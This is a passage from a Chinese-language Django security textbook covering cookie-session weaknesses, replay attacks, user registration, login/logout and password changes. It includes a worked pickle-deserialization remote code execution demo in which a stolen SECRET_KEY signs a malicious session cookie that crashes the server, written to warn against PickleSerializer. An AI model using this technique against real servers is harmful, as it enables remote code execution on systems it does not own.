基于 cookie 的会话引擎对传出的会话状态进行哈希处理;它不加密会话状态。这保证了完整性,但不保证机密性。因此,会话状态对恶意用户通过浏览器是容易获取的。如果会话包含用户不应该访问的信息,则系统容易受到攻击。

假设爱丽丝和伊芙都是 social.bob.com 的用户,这是一个社交媒体网站。爱丽丝因为伊芙在前一章执行了中间人攻击而对她感到愤怒,所以她屏蔽了她。与其他社交媒体网站不同的是,social.bob.com 不会通知伊芙她已被屏蔽。social.bob.com 将这些信息存储在基于 cookie 的会话状态中。

伊芙使用以下代码查看谁已经屏蔽了她。首先,她使用 requests 包进行程序化身份验证。(你在前一章学习了 requests 包)。接下来,她从会话 ID cookie 中提取、解码和反序列化自己的会话状态。反序列化的会话状态显示爱丽丝已经屏蔽了伊芙(用粗体字体表示):

>>> import base64
>>> import json
>>> import requests
>>> 
>>> credentials = {
...     'username': 'eve',
...     'password': 'evil', }
>>> response = requests.post(                               # ❶
...     'https:/./social.bob.com/login/',                    # ❶
...     data=credentials, )                                 # ❶
>>> sessionid = response.cookies['sessionid']               # ❷
>>> decoded = base64.b64decode(sessionid.split(':')[0])     # ❷
>>> json.loads(decoded)                                     # ❷
{'name': 'Eve', 'username': 'eve', 'blocked_by': ['alice']} # ❸

❶ 伊芙登录到鲍勃的社交媒体网站。

❷ 伊芙提取、解码和反序列化会话状态。

❸ 伊芙看到爱丽丝已经屏蔽了她。

重放攻击

基于 cookie 的会话引擎使用 HMAC 函数对传入的会话状态进行身份验证。这告诉服务器负载的原始作者是谁。这不能告诉服务器接收到的负载是否是负载的最新版本。换句话说,浏览器不能通过修改会话 ID cookie 来逃避,但浏览器可以重放其较旧版本。攻击者可以利用这种限制进行重放攻击

假设 ecommerce.alice.com 配置了基于 cookie 的会话引擎。该网站为每个新用户提供一次性折扣。会话状态中的一个布尔值表示用户的折扣资格。恶意用户玛洛丽首次访问该网站。作为新用户,她有资格获得折扣,她的会话状态反映了这一点。她保存了自己会话状态的本地副本。然后,她进行了第一次购买,获得了折扣,网站在捕获付款时更新了她的会话状态。她不再有资格获得折扣。后来,玛洛丽在后续购买请求中重放了她的会话状态副本,以获得额外的未经授权的折扣。玛洛丽成功执行了重放攻击。

重放攻击是利用在无效上下文中重复有效输入来破坏系统的任何利用。如果系统无法区分重放的输入和普通输入,则任何系统都容易受到重放攻击的影响。区分重放的输入和普通输入是困难的,因为在某一时间点,重放的输入曾经是普通输入。

这些攻击不仅限于电子商务系统。重放攻击已被用于伪造自动取款机(ATM)交易,解锁车辆,打开车库门,并绕过语音识别身份验证。

远程代码执行攻击

将基于 cookie 的会话与 PickleSerializer 结合使用是一条很危险的道路。如果攻击者能够访问 SECRET_KEY 设置,这种配置组合可能会被严重利用。

警告 远程代码执行攻击是残酷的。永远不要将基于 cookie 的会话与 PickleSerializer 结合使用;风险太大了。这种组合之所以不受欢迎是有充分理由的。

假设 vulnerable.alice.com 使用 PickleSerializer 对基于 cookie 的会话进行序列化。Mallory,一个对 vulnerable.alice.com 不满的前雇员,记住了 SECRET_KEY。她执行了对 vulnerable.alice.com 的攻击,计划如下:

  1. 编写恶意代码

  2. 使用 HMAC 函数和 SECRET_KEY 对恶意代码进行哈希

  3. 将恶意代码和哈希值作为会话 cookie 发送给 vulnerable.alice.com

  4. 坐下来,看着 vulnerable.alice.com 执行 Mallory 的恶意代码

首先,Mallory 编写恶意的 Python 代码。她的目标是欺骗 vulnerable.alice.com 执行这段代码。她安装 Django,创建 PickleSerializer,并将恶意代码序列化为二进制格式。

接下来,Mallory 对序列化的恶意代码进行哈希。她以与服务器哈希会话状态相同的方式进行,使用 HMAC 函数和 SECRET_KEY。Mallory 现在拥有恶意代码的有效哈希值。

最后,Mallory 将序列化的恶意代码与哈希值配对,伪装成基于 cookie 的会话状态。她将有效负载作为会话 cookie 发送到 vulnerable.alice.com 的请求头中。不幸的是,服务器成功验证了 cookie;毕竟,恶意代码是使用服务器相同的 SECRET_KEY 进行哈希的。在验证了 cookie 后,服务器使用 PickleSerializer 反序列化会话状态,无意中执行了恶意脚本。Mallory 成功执行了一次 远程代码执行攻击。图 7.3 说明了 Mallory 的攻击。

CH07_F03_Byrne

图 7.3 Mallory 使用被篡改的 SECRET_KEY 执行远程代码执行攻击。

以下示例演示了 Mallory 如何从交互式 Django shell 执行远程代码执行攻击。在这次攻击中,Mallory 通过调用 sys.exit 函数欺骗 vulnerable.alice.com 自杀。Mallory 在 PickleSerializer 反序列化她的代码时调用 sys.exit。Mallory 使用 Django 的 signing 模块对恶意代码进行序列化和哈希,就像基于 cookie 的会话引擎一样。最后,她使用 requests 包发送请求。请求没有响应;接收方(用粗体字体标记)就这样死了:

$ python manage.py shell
>>> import sys
>>> from django.contrib.sessions.serializers import PickleSerializer
>>> from django.core import signing
>>> import requests
>>> 
>>> class MaliciousCode:
...     def __reduce__(self):                                              # ❶
...         return sys.exit, ()                                            # ❷
... 
>>> session_state = {'malicious_code': MaliciousCode(), }
>>> sessionid = signing.dumps(                                             # ❸
...     session_state,                                                     # ❸
...     salt='django.contrib.sessions.backends.signed_cookies',            # ❸
...     serializer=PickleSerializer)                                       # ❸
>>> 
>>> session = requests.Session()
>>> session.cookies['sessionid'] = sessionid
>>> session.get('https:/./vulnerable.alice.com/')                           # ❹
Starting new HTTPS connection (1): vulnerable.com
http.client.RemoteDisconnected: Remote end closed connection without response# ❺

❶ Pickle 将此方法称为反序列化。

❷ Django 用这行代码自杀。

❸ Django 的签名模块序列化并哈希 Mallory 的恶意代码。

❹ 发送请求

❺ 收不到响应

SESSION_ENGINE设置为django.contrib.sessions.backends.signed_cookies配置 Django 使用基于 cookie 的会话引擎。

摘要

  • 服务器使用Set-Cookie响应头在浏览器上设置会话 ID。

  • 浏览器使用Cookie请求头将会话 ID 发送给服务器。

  • 使用SecureDomainMax-Age指令来抵抗在线攻击。

  • Django 本地支持五种存储会话状态的方式。

  • Django 本地支持六种缓存数据的方式。

  • 重放攻击可以滥用基于 cookie 的会话。

  • 远程代码执行攻击可以滥用 pickle 序列化。

  • Django 使用SECRET_KEY设置进行键控哈希,而不是加密。

第八章:用户身份验证

本章涵盖

  • 注册和激活新用户账户

  • 安装和创建 Django 应用程序

  • 登录和退出项目

  • 访问用户个人资料信息

  • 测试身份验证

身份验证和授权类似于用户和组。在本章中,你将通过创建用户来学习身份验证;在后面的章节中,你将通过创建组来学习授权。

注意 在撰写本文时,破损的身份验证 在 OWASP 十大安全风险中排名第 2 位(owasp.org/www-project-top-ten/)。什么是 OWASP 十大安全风险?它是一个旨在提高人们对网络应用程序面临的最关键安全挑战的认识的参考资料。开放网络应用安全项目(OWASP)是一个致力于提高软件安全性的非营利组织。OWASP 通过开源项目、会议和全球数百个地方分会促进安全标准和最佳实践的采纳。

你将通过向之前创建的 Django 项目添加一个新的用户注册工作流程来开始本章。Bob 使用这个工作流程为自己创建并激活一个账户。接下来,你将创建一个身份验证工作流程。Bob 使用这个工作流程来登录、访问他的个人资料信息和退出。HTTP 会话管理,来自上一章,也会出现。最后,你将编写测试来验证这些功能。

8.1 用户注册

在本节中,你将利用django-registration,一个 Django 扩展库,来创建一个用户注册工作流程。在此过程中,你将学习 Django Web 开发的基本构建模块。Bob 使用你的用户注册工作流程为自己创建并激活一���账户。这一节为你和 Bob 准备了下一节,在那里你将为他构建一个身份验证工作流程。

用户注册工作流程是一个两步过程;你可能已经体验过了:

  1. Bob 创建 了他的账户。

  2. Bob 激活 了他的账户。

Bob 通过请求用户注册表单进入用户注册工作流程。他提交这个表单,包括用户名、电子邮件地址和密码。服务器创建一个未激活的账户,将他重定向到注册确认页面,并发送给他一个账户激活的电子邮件。

Bob 目前无法登录他的账户,因为账户尚未激活。他必须验证他的电子邮件地址以激活账户。这可以防止 Mallory 使用 Bob 的电子邮件地址创建账户,保护你和 Bob;你将知道电子邮件地址是有效的,而 Bob 不会收到你的未经请求的电子邮件。

Bob 的电子邮件包含一个链接,他点击以确认他的电子邮件地址。这个链接将 Bob 带回服务器,然后激活他的账户。图 8.1 描述了这个典型的工作流程。

CH08_F01_Byrne

图 8.1 典型的用户注册工作流程,包括电子邮件确认

在你开始编写代码之前,我将定义一些 Django Web 开发的基本构建模块。你即将创建的工作流由三个基本构建模块组成:

  • 视图

  • 模型

  • 模板

Django 用一个对象表示每个传入的 HTTP 请求。该对象的属性映射到请求的属性,比如 URL 和 Cookie。Django 将每个请求映射到一个视图—一个用 Python 编写的请求处理程序。视图可以由类或函数实现;我在本书的示例中使用类。Django 调用视图,将请求对象传递给它。视图负责创建并返回响应对象。响应对象表示出站的 HTTP 响应,携带数据如内容和响应头。

模型是一个对象关系映射类。与视图一样,模型是用 Python 编写的。模型弥合了应用程序的面向对象世界与存储数据的关系数据库之间的差距。模型类类似于数据库表。模型类的属性类似于数据库表列。模型对象类似于数据库表中的行。视图使用模型来创建、读取、更新和删除数据库记录。

模板代表了请求的响应。与视图和模型不同,模板主要是用 HTML 和简单的模板语法编写的。视图通常使用模板来组合静态和动态内容生成响应。图 8.2 描述了视图、模型和模板之间的关系。

CH08_F02_Byrne

图 8.2 Django 应用服务器使用模型-视图-模板架构来处理请求。

这种架构通常被称为模型-视图-模板MVT)。如果你已经熟悉模型-视图-控制器(MVC)架构,这可能会有点令人困惑。这些架构对于模型的称呼是一致的:模型是一个对象关系映射层。但是对于视图的称呼则不一致。MVT 视图大致等同于 MVC 控制器;MVC 视图大致等同于 MVT 模板。表 8.1 比较了两种架构的词汇。

表 8.1 MVT 术语与 MVC 术语对照

MVT 术语 MVC 术语 描述
模型 模型 对象关系映射层
视图 控制器 负责逻辑和协调的请求处理程序
模板 视图 响应内容的生成

在本书中,我使用 MVT 术语。你即将构建的用户注册工作流由视图、模型和模板组成。你不需要编写视图或模型;这项工作已经由django-registration扩展库为你完成。

通过将django-registration安装为Django 应用来利用它在你的Django 项目中。那么应用和项目有什么区别呢?这两个术语经常会令人困惑,可以理解:

  • Django 项目—这是一个配置文件集合,如 settings.py 和 urls.py,并且一个或多个 Django 应用程序。我在第六章用 django-admin 脚本向你展示了如何生成 Django 项目。

  • Django 应用程序—这是 Django 项目的模块化组件。每个组件负责一组离散的功能,如用户注册。多个项目可以使用相同的 Django 应用程序。一个 Django 应用程序通常不会变得足够大,以至于被视为一个应用程序。

在你的虚拟环境中,使用以下命令安装django-registration

$ pipenv install django-registration

接下来,打开你的settings模块,并添加下面加粗显示的代码行。这将django-registration添加到INSTALLED_APPS设置中。此设置是一个表示 Django 项目中 Django 应用程序的列表。确保不要删除任何现有的应用程序:

INSTALLED_APPS = [
    ...
    'django.contrib.staticfiles',
    'django_registration',         # ❶
]

❶ 安装 django-registration 库

接下来,在 Django 根目录中运行以下命令。这个命令执行所有需要的数据库修改以适应django-registration

$ python manage.py migrate

接下来,在 Django 根目录中打开 urls.py。在文件开头添加一个include函数的导入,如列表 8.1 中加粗显示的。在导入下面是一个名为 urlpatterns 的列表。Django 使用这个列表将入站请求的 URL 映射到视图。将以下 URL 路径条目添加到 urlpatterns,也用加粗显示,不要删除任何现有的 URL 路径条目。

列表 8.1 将视图映射到 URL 路径

from django.contrib import admin
from django.urls import path, include                                # ❶

urlpatterns = [
    path('admin/', admin.site.urls),
 path('accounts/',          include('django_registration.backends.activation.urls')),   # ❷
]

❶ 添加 include 导入

❷ 将 django-registration 视图映射到 URL 路径

添加这行代码会将五个 URL 路径映射到django-registration视图。表 8.2 说明了哪些 URL 模式映射到哪些视图。

表 8.2 URL 路径到用户注册视图的映射

URL 路径 django-registration 视图
/accounts/activate/complete/ TemplateView
/accounts/activate/<activation_key>/ 激活视图
/accounts/register/ 注册视图
/accounts/register/complete/ TemplateView
/accounts/register/closed/ TemplateView

这些 URL 路径中的三个映射到TemplateView类。TemplateView不执行任何逻辑,只是简单地呈现模板。在下一节中,你将创建这些模板。

8.1.1 模板

每个生成的 Django 项目都配置有一个完全功能的模板引擎。模板引擎通过合并动态和静态内容将模板转换为响应。图 8.3 描述了一个模板引擎在 HTML 中生成一个有序列表。

CH08_F03_Byrne

图 8.3 模板引擎将静态 HTML 和动态内容结合在一起。

就像 Django 的每个其他主要子系统一样,模板引擎在settings模块中配置。打开 Django 根目录中的settings模块。在此模块的顶部,添加对os模块的导入,如下面代码中所示。在此导入下方,找到TEMPLATES设置,一个模板引擎列表。找到第一个且唯一的模板引擎的DIRS键。DIRS告诉模板引擎在搜索模板文件时要使用哪些目录。将以下条目添加到DIRS中,同样显示为粗体,告诉模板引擎在名为 templates 的目录中查找模板文件,位于项目根目录下方:

import os                                                 # ❶

...

TEMPLATES = [
    {
        ...
        'DIRS': [os.path.join(BASE_DIR, 'templates')],    # ❷
        ...
    }
]

❶ 导入 os 模块

❷ 告诉模板引擎在哪里查找

在项目根目录下方,创建一个名为 templates 的子目录。在 templates 目录下,创建一个名为 django_registration 的子目录。这是django-registration视���期望您的模板存在的地方。您的用户注册工作流程将使用以下模板,按照 Bob 看到的顺序显示:

  • registration_form.html

  • registration_complete.html

  • activation_email_subject.txt

  • activation_email_body.txt

  • activation_complete.html

在 django_registration 目录下,创建一个名为 registration_form.html 的文件,其中包含列表 8.2 中的代码。此模板呈现 Bob 看到的第一件事,一个新的用户注册表单。忽略csrf_token标签;我将在第十六章中介绍这个。form.as_ p变量将呈现带标签的表单字段。

列表 8.2 一个新的用户注册表单

<html>
    <body>

        <form method='POST'>
          {% csrf_token %}           <!-- ❶ -->
          {{ form.as_p }}            <!-- ❷ -->
          <button type='submit'>Register</button>
        </form>

    </body>
</html>

❶ 必要,但将在另一章节中介绍

❷ 动态呈现为用户注册表单字段

接下来,在同一目录中创建一个名为 registration_complete.html 的文件,并将以下 HTML 添加到其中。此模板在 Bob 成功注册后呈现一个简单的确认页面:

<html>
    <body>
        <p>
            Registration is complete.
            Check your email to activate your account.
        </p>
    </body>
</html>

在同一目录中创建一个名为 activation_email_subject.txt 的文件。添加以下代码行,生成账户激活邮件的主题行。site变量将呈现为主机名;对于您来说,这将是localhost

Activate your account at {{ site }}

接下来,在同一目录中创建一个名为 activation_email_body.txt 的文件,并将以下代码行添加到其中。此模板代表账户激活邮件的正文:

Hello {{ user.username }},

Go to https://{{ site }}/accounts/activate/{{ activation_key }}/ 
to activate your account.

最后,在创建一个名为 activation_complete.html 的文件,并将以下 HTML 添加到其中。这是 Bob 在工作流程中看到的最后一件事:

<html>
    <body>
        <p>Account activation completed!</p>
    </body>
</html>

在此工作流程中,您的系统将向 Bob 的电子邮件地址发送一封电子邮件。在开发环境中设置电子邮件服务器将是一个很大的不便。此外,您实际上并不拥有 Bob 的电子邮件地址。打开设置文件,并添加以下代码以覆盖此行为。这将配置 Django 将出站电子邮件重定向到您的控制台,为您提供一种轻松访问用户注册链接的方式,而不会产生运行完全功能邮件服务器的开销:

if DEBUG:
    EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'

将以下代码行添加到settings模块中。这个设置代表 Bob 有多少天时间来激活他的账户:

ACCOUNT_ACTIVATION_DAYS = 3

好了,你已经完成了用户注册工作流程的编写。Bob 现在将使用它来创建和激活他的账户。

8.1.2 Bob 注册他的账户

重新启动服务器,并将浏览器指向 https:/./localhost:8000/accounts/regis ter/。你看到的用户注册表单包含几个必填字段:用户名、电子邮件、密码和密码确认。按照图 8.4 中显示的表单填写表单,为 Bob 设置一个密码,并提交表单。

CH08_F04_Byrne

图 8.4 Bob 为自己注册了一个账户,提交了一个用户名、他的电子邮件地址和一个密码。

提交用户注册表单为 Bob 创建了一个账户。Bob 目前无法登录这个账户,因为账户尚未激活。他必须验证自己的电子邮件地址以激活账户。这可以防止 Mallory 使用 Bob 的电子邮件地址创建账户;Bob 不会收到未经请求的电子邮件,而你将知道该电子邮件地址是有效的。

在创建账户后,你将被重定向到注册确认页面。该页面通知你检查你的电子邮件。之前你配置 Django 将出站邮件重定向到你的控制台。在你的控制台中查找 Bob 的电子邮件。

在 Bob 的电子邮件中找到账户激活的 URL。注意 URL 后缀是一个激活令牌。这个令牌不仅仅是一串随机的字符和数字;它包含一个 URL 编码的时间戳和一个带键的哈希值。服务器通过使用 HMAC 函数对用户名和账户创建时间进行哈希来创建这个令牌(你在第三章学习过 HMAC 函数)。HMAC 函数的密钥是SECRET_KEY。图 8.5 说明了这个过程。

CH08_F05_Byrne

图 8.5 Bob 提交用户注册表单并收到账户激活邮件;账户激活令牌是一个带键哈希的应用。

从你的控制台复制并粘贴账户激活邮件到你的浏览器。这将把账户激活令牌发送回服务器。服务器现在从 URL 中提取用户名和时间戳,并重新计算哈希值。如果重新计算的哈希值与传入的哈希值不匹配,服务器就知道令牌已被篡改;账户激活将失败。如果两个哈希值匹配,服务器就知道它是令牌的作者;Bob 的账户被激活。

激活 Bob 的账户后,你将被重定向到一个简单的确认页面。Bob 的账户已经被创建和激活;你已经完成了你的第一个工作流程。在下一节中,你将创建另一个工作流程,让 Bob 访问他的新账户。

8.2 用户认证

在本节中,你将为 Bob 构建第二个工作流程。此工作流程允许 Bob 在访问敏感个人信息之前证明他的身份。Bob 通过请求和提交登录表单开始此工作流程。服务器将 Bob 重定向到一个简单的个人资料页面。Bob 登出,服务器将他重定向回登录表单。图 8.6 说明了这个工作流程。

CH08_F06_Byrne

图 8.6 在此认证工作流程中,Bob 登录,访问他的个人资料信息,然后登出。

与用户注册工作流程一样,认证工作流程由视图、模型和模板组成。这次,Django 已经为你完成了大部分工作。Django 本地支持许多内置视图、模型和模板。这些组件支持常见的站点功能,如登录、登出、更改密码和重置密码。在下一节中,你将利用两个内置 Django 视图。

8.2.1 内置 Django 视图

要利用 Django 的内置视图,打开 Django 根目录中的 urls.py。将以下 URL 路径条目,显示为粗体,添加到 urlpatterns;不要删除任何现有的 URL 路径条目:

urlpatterns = [
   ...
 path('accounts/', include('django.contrib.auth.urls')),     # ❶
]

❶ 将 URL 路径映射到内置 Django 视图

添加这行代码将八个 URL 路径映射到内置视图。表 8.3 显示了哪些 URL 模式映射到哪些视图类。在本章中,你将使用前两个视图,LoginViewLogoutView。后续章节将使用其他视图。

表 8.3 将 URL 路径映射到视图

URL 路径 Django 视图
accounts/login/ LoginView
accounts/logout/ LogoutView
accounts/password_change/ PasswordChangeView
accounts/password_change/done/ PasswordChangeDoneView
accounts/password_reset/ PasswordResetView
accounts/password_reset/done/ PasswordResetDoneView
accounts/reset/// PasswordResetConfirmView
accounts/reset/done/ PasswordResetCompleteView

许多 Django 项目都使用这些视图进行生产。这些视图之所以受欢迎,有两个主要原因。首先,你可以在不重复造轮子的情况下更快地将代码推向生产。其次,更重要的是,这些组件通过遵循最佳实践来保护你和你的用户。

在下一节中,你将创建和配置你自己的视图。你的视图将存在于一个新的 Django 应用程序中。这个应用程序允许 Bob 访问他的个人信息。

8.2.2 创建一个 Django 应用程序

在之前,你生成了一个 Django 项目;在本节中,你将生成一个 Django 应用程序。从项目根目录运行以下命令来创建一个新应用程序。该命令在一个名为 profile_info 的新目录中生成一个 Django 应用程序:

$ python manage.py startapp profile_info

图 8.7 显示了新应用程序的目录结构。注意,为应用程序特定的模型、测试和视图生成了一个单独的模块。在本章中,你将修改 viewstests 模块。

CH08_F07_Byrne

图 8.7 新 Django 应用程序的目录结构

打开views模块,并将列表 8.3 中的代码添加到其中。ProfileView类通过请求访问用户对象。此对象是由 Django 定义和创建的内置模型。Django 在调用视图之前自动创建用户对象并将其添加到请求中。如果用户未经身份验证,ProfileView将以 401 状态响应。此状态通知客户端未经授权访问配置文件信息。如果用户已经经过身份验证,ProfileView将以用户的配置文件信息响应。

列表 8.3 将视图添加到您的应用程序

from django.http import HttpResponse
from django.shortcuts import render
from django.views.generic import View

class ProfileView(View):

    def get(self, request):
        user = request.user                      # ❶
        if not user.is_authenticated:            # ❷
            return HttpResponse(status=401)      # ❷
        return render(request, 'profile.html')   # ❸

❶ 以编程方式访问用户对象

❷ 拒绝未经身份验证的用户

❸ 渲染一个响应

在新的应用程序目录(而不是项目根目录)下,添加一个名为 urls.py 的新文件,并使用以下内容。此文件将 URL 路径映射到特定于应用程序的视图:

from django.urls import path
from profile_info import views

urlpatterns = [
   path('profile/', views.ProfileView.as_view(), name='profile'),
]

在项目根目录(而不是应用程序目录)中,重新打开 urls.py 并添加一个新的 URL 路径条目,如下所示。此 URL 路径条目将 ProfileView 映射到 /accounts/profile/。保留 urlpatterns 中的所有现有 URL 路径条目不变:

urlpatterns = [
   ...
 path('accounts/', include('profile_info.urls')),
]

到目前为止,您已经重用了 Django 的内置视图并创建了自己的视图,ProfileView。现在是为您的视图创建模板的时候了。在 templates 目录下创建一个名为 registration 的子目录。创建并打开一个名为 login.html 的文件,位于 registration 下。默认情况下,LoginView 在此处查找登录表单。

将以下 HTML 添加到 login.html;Bob 将使用此表单提交他的身份验证凭据。模板表达式 {{ form.as_p }} 为用户名和密码分别呈现一个带有标签的输入字段。与用户注册表单一样,请忽略 csrf_token 语法;这将在第十六章中介绍:

<html>
    <body>

        <form method='POST'>
          {% csrf_token %}                      <!-- ❶ -->
          {{ form.as_p }}                       <!-- ❷ -->
          <button type='submit'>Login</button>
        </form>

    </body>
</html>

❶ 必要的,但将在另一章节中讨论

❷ 动态呈现为用户名和密码表单字段

创建并打开一个名为 profile.html 的文件,位于 templates 目录下。将以下 HTML 添加到 profile.html;此模板将呈现 Bob 的配置文件信息和注销链接。此模板中的 {{ user }} 语法引用了由 ProfileView 访问的同一用户模型对象。最后一个段落包含一个名为 url 的内置模板标签。此标签将查找并呈现映射到 LogoutView 的 URL 路径:

<html>
    <body>

        <p>
            Hello {{ user.username }},                <!-- ❶ -->
            your email is {{ user.email }}.           <!-- ❶ -->
        </p>
        <p>
            <a href="{% url 'logout' %}">Logout</a>   # ❷
        </p>

    </body>
</html>

❶ 通过模型对象渲染配置文件信息,来自数据库

❷ 动态生成注销链接

现在是时候以 Bob 的身份登录了。在开始下一节之前,您应该做两件事。首先,确保所有更改都已写入磁盘。其次,重新启动服务器。

8.2.3 Bob 登录并退出他的帐户

将浏览器指向 https:/./localhost:8000/accounts/login/ 并以 Bob 的身份登录。成功登录后,LoginView 将向浏览器发送一个响应,其中包含两个重要的细节:

  • Set-Cookie 响应头

  • 状态码为 302

Set-Cookie响应头将会将会话 ID 传递给浏览器。(你在上一章学习了这个头部。)Bob 的浏览器将保存一个本地副本的会话 ID,并在后续请求中将其发送回服务器。

服务器将浏览器重定向到/accounts/profile/,状态码为 302。在表单提交后进行重定向是最佳实践。这可以防止用户意外提交相同的表单两次。

重定向请求在您的自定义应用中映射到ProfileViewProfileView使用 profile.html 生成包含 Bob 的个人资料信息和注销链接的响应。

注销

默认情况下,LogoutView呈现一个通用的注销页面。要覆盖此行为,请打开settings模块并添加以下代码行。这将配置LogoutView在用户注销时将浏览器重定向到登录页面:

LOGOUT_REDIRECT_URL = '/accounts/login/'

重新启动服务器并点击个人资料页面上的注销链接。这将发送一个请求到/accounts/logout/。Django 将这个请求映射到LogoutView

LoginView一样,LogoutView响应一个Set-Cookie响应头和一个 302 状态码。Set-Cookie头将会话 ID 设置为空字符串,使会话无效。302 状态码将浏览器重定向到登录页面。Bob 现在已经登录和退出了他的账户,您已经完成了第二个工作流程。

多因素身份验证

不幸的是,密码有时会落入错误的手中。因此,许多组织要求额外的身份验证形式,这个功能被称为多因素身份验证MFA)。您可能已经使用过 MFA。启用 MFA 的账户通常除了用户名和密码挑战外还受到以下一种或多种因素的保护:

  • 一次性密码(OTP)

  • 钥匙扣,门禁卡或智能卡

  • 生物特征,如指纹或面部识别

在撰写本书时,很遗憾我无法找到一个令人信服的 Python MFA 库。希望在下一版出版之前能有所改变。不过我确实推荐 MFA,所以如果你选择采用它,这里是一些该做和不该做的事项清单:

  • 抵制自己动手构建的冲动。这个警告类似于“不要自己编写加密算法。”安全是复杂的,自定义安全代码容易出错。

  • 避免通过短信或语音邮件发送 OTP。这适用于您构建的系统和您使用的系统。尽管很常见,但这些形式的身份验证是不安全的,因为电话网络不安全。

  • 避免问类似“你母亲的婚前姓是什么?”或“你三年级时最好的朋友是谁?”这样的问题。有些人称之为安全问题,但我称之为不安全问题。想象一下,攻击者只需找到受害者的社交媒体账户就能轻松推断出这些问题的答案。

在本节中,您编写了支持网站最基本功能的代码。现在是时候优化一些这些代码了。

8.3 简洁地要求身份验证

安全的网站禁止匿名访问受限资源。当请求到达时没有有效的会话 ID,网站通常会用错误代码或重定向来响应。Django 支持使用名为LoginRequiredMixin的类来支持此行为。当您的视图继承自LoginRequiredMixin时,无需验证当前用户是否已经通过身份验证;LoginRequiredMixin会为您执行此操作。

profile_info目录中,重新打开views.py文件,并将LoginRequiredMixin添加到ProfileView。这会将来自匿名用户的请求重定向到您的登录页面。接下来,删除任何用于程序化验证请求的代码;这些代码现在已经是多余的。您的类应该像这里显示的一样;LoginRequiredMixin和删除的代码以粗体字显示。

清单 8.4 简洁地禁止匿名访问

from django.contrib.auth.mixins import LoginRequiredMixin    # ❶
from django.http import HttpResponse                         # ❷
from django.shortcuts import render
from django.views.generic import View

class ProfileView(LoginRequiredMixin, View):                 # ❸

    def get(self, request):
        user = request.user                                  # ❹
        if not user.is_authenticated:                        # ❹
            return HttpResponse(status=401)                  # ❹
        return render(request, 'profile.html')

❶ 添加此导入。

❷ 删除此导入。

❸ 添加LoginRequiredMixin

❹ 删除这些行代码。

login_required装饰器是函数式视图的等效物。以下代码示例说明了如何使用login_required装饰器禁止匿名访问函数式视图:

from django.contrib.auth.decorators import login_required

@login_required               # ❶
def profile_view(request):
   ...
   return render(request, 'profile.html')

❶ 等同于LoginRequiredMixin

您的应用程序现在支持用户身份验证。有人说认证会使测试变得困难。在一些 Web 应用程序框架中,这可能是真的,但在接下来的章节中,您将了解为什么 Django 不是其中之一。

8.4 测试身份验证

安全性和测试有一个共同点:程序员经常低估了这两者的重要性。通常,在代码库年轻时,这两个领域都没有得到足够的关注。然后,系统的长期健康状态就会受到影响。

系统的每个新功能都应该配有测试。Django 通过为每个新的 Django 应用程序生成一个tests模块来鼓励测试。这个模块是您编写测试类的地方。测试类或TestCase的责任是为一组离散功能定义测试。TestCase类由测试方法组成。测试方法旨在通过执行单个功能并执行断言来维护代码库的质量。

身份验证对测试不构成障碍。具有真实密码的实际用户可以从测试中以编程方式登录和退出您的 Django 项目。在profile_info目录下,打开tests.py文件,并添加清单 8.5 中的代码。TestAuthentication类演示了如何测试本章中所做的一切。test_authenticated_workflow方法首先为 Bob 创建一个用户模型。然后,它以他的身份登录,访问他的个人资料页面,然后将其注销。

清单 8.5 测试用户身份验证

from django.contrib.auth import get_user_model
from django.test import TestCase

class TestAuthentication(TestCase):

    def test_authenticated_workflow(self):
        passphrase = 'wool reselect resurface annuity'                   # ❶
        get_user_model().objects.create_user('bob', password=passphrase) # ❶

        self.client.login(username='bob', password=passphrase)           # ❷
        self.assertIn('sessionid', self.client.cookies)                  # ❷

        response = self.client.get(                                      # ❸
            '/accounts/profile/',                                        # ❸
            secure=True)                                                 # ❹
        self.assertEqual(200, response.status_code)                      # ❺
        self.assertContains(response, 'bob')                             # ❺

        self.client.logout()                                             # ❻
        self.assertNotIn('sessionid', self.client.cookies)               # ❻

❶ 为 Bob 创建一个测试用户帐户

❷ Bob 登录。

❸ 访问 Bob 的个人资料页面

❹ 模拟 HTTPS

❺ 验证响应

❻ 验证 Bob 已注销

接下来,添加test_prohibit_anonymous_access方法,如列表 8.6 所示。该方法尝试匿名访问个人资料页面。测试响应以确保用户被重定向到登录页面。

列表 8.6 测试匿名访问限制

class TestAuthentication(TestCase):

...

    def test_prohibit_anonymous_access(self):
        response = self.client.get('/accounts/profile/', secure=True)   # ❶
        self.assertEqual(302, response.status_code)                     # ❷
        self.assertIn('/accounts/login/', response['Location'])         # ❷

❶ 尝试匿名访问

❷ 验证响应

从项目根目录运行以下命令。这会执行 Django 测试运行器。测试运行器会自动找到并执行这两个测试;两个测试都通过了:

$ python manage.py test
System check identified no issues (0 silenced).
..
--------------------------------------------------------------------
Ran 2 tests in 0.294s
OK

在这一章中,你学会了如何构建任何系统中最重要的一些功能。你知道如何创建和激活账户;你知道如何让用户登录和退出他们的账户。在接下来的章节中,你将进一步扩展这些知识,涉及的主题包括密码管理、授权、OAuth 2.0 和社交登录。

摘要

  • 使用两步用户注册工作流程验证用户的电子邮件地址。

  • 视图、模型和模板是 Django Web 开发的构建模块。

  • 不要重复造轮子;使用内置的 Django 组件对用户进行认证。

  • 禁止匿名访问受限资源。

  • 认证不是对未经测试功能的借口。

第九章:用户密码管理

本章内容

  • 更改、验证和重置用户密码

  • 使用加盐哈希抵抗突破

  • 使用密钥派生函数抵抗暴力攻击

  • 迁移哈希密码

在之前的章节中,你已经了解了哈希和认证; 在本章中,你将了解这些主题的交集。 Bob 在本章中使用了两个新的工作流程:密码更改工作流程和密码重置工作流程。 数据认证再次出现。 你将盐化哈希和密钥派生函数结合起来作为防范突破和暴力攻击的防御层。 在此过程中,我将向你展示如何选择和执行密码策略。 最后,我将向你展示如何从一种密码哈希策略迁移到另一种密码哈希策略。

9.1 密码更改工作流程

在前一章中,你将 URL 路径映射到一组内置 Django 视图。 你使用了其中的两个视图,LoginViewLogoutView,构建了认证工作流程。 在本节中,我将向你展示另一个由另外两个视图组成的工作流程:PasswordChangeViewPasswordChangeDoneView

你很幸运;你的项目已经在使用内置视图进行此工作流程。 你在前一章已经完成了这项工作。 如果服务器尚未运行,请启动服务器,然后作为 Bob 重新登录,并将浏览器指向 localhost:8000/admin/password _change/。 之前,你将此 URL 映射到 PasswordChangeView,一个用于更改用户密码的视图,该表单包含三个必填字段,如图 9.1 所示:

  • 用户的密码

  • 新密码

  • 新密码确认

注意新密码字段旁边的四个输入约束。 这些约束代表项目的密码策略。 这是一组旨在防止用户选择弱密码的规则。 PasswordChangeView 在提交表单时执行此策略。

